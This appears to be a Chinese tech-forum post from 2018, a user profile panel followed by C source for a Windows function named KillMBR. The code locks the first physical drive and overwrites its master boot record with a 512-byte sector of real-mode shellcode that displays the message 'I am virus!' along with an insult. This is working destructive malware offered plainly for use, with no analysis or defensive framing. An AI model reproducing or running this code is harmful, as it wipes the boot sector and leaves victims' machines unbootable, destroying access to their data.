- UID
- 3517
- 精华
- 1
- 积分
- 959
- 威望
- 36 点
- 宅币
- 802 个
- 贡献
- 33 次
- 宅之契约
- 0 份
- 最后登录
- 2021-8-23
- 在线时间
- 207 小时
用户组: 大·技术宅
- UID
- 3517
- 精华
- 1
- 威望
- 36 点
- 宅币
- 802 个
- 贡献
- 33 次
- 宅之契约
- 0 份
- 在线时间
- 207 小时
- 注册时间
- 2018-3-2
|
发表于 2018-3-3 15:33:25
|
显示全部楼层
本帖最后由 Tao_Lu 于 2018-3-3 15:34 编辑
- #include 'winioctl.h'
- unsigned char scode[] =
- "\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
- "\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
- "\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
- int KillMBR()
- {
- HANDLE hDevice;
- DWORD dwBytesWritten, dwBytesReturned;
- BYTE pMBR[512] = {0};
-
- // MBR
- memcpy(pMBR, scode, sizeof(scode) - 1);
- pMBR[510] = 0x55;
- pMBR[511] = 0xAA;
-
- hDevice = CreateFile
- (
- "\\\\.\\PHYSICALDRIVE0",
- GENERIC_READ | GENERIC_WRITE,
- FILE_SHARE_READ | FILE_SHARE_WRITE,
- NULL,
- OPEN_EXISTING,
- 0,
- NULL
- );
- if (hDevice == INVALID_HANDLE_VALUE)
- return -1;
- DeviceIoControl
- (
- hDevice,
- FSCTL_LOCK_VOLUME,
- NULL,
- 0,
- NULL,
- 0,
- &dwBytesReturned,
- NULL
- );
- // WriteFile
- WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
- DeviceIoControl
- (
- hDevice,
- FSCTL_UNLOCK_VOLUME,
- NULL,
- 0,
- NULL,
- 0,
- &dwBytesReturned,
- NULL
- );
- CloseHandle(hDevice);
-
- ExitProcess(-1);
- return 0;
- }
复制代码 |
|